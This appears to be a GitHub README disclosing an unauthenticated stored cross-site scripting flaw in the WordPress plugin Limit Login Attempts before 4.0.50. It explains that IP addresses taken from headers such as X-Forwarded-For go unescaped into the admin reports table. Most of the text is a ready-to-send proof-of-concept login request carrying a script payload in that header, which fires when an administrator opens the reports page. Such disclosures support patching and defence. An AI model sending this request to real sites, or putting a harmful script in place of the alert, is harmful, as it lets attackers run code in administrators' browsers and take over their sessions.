.. | |||
README.md | Loading last commit info... |
README.md
Limit Login Attempts < 4.0.50 - Unauthenticated Stored Cross-Site Scripting
Description
The plugin does not escape the IP addresses (which can be controlled by attacker via headers such as X-Forwarded-For) of attempted logins before outputting them in the reports table, leading to an Unauthenticated Stored Cross-Site Scripting issue.
Proof of Concept
POST /wp-login.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For:<script>alert(/XSS/)</script>
log=aa&pwd=dd&wp-submit=Log+In&testcookie=1
The XSS will be triggered when viewing the report page (/wp-admin/admin.php?page=reports)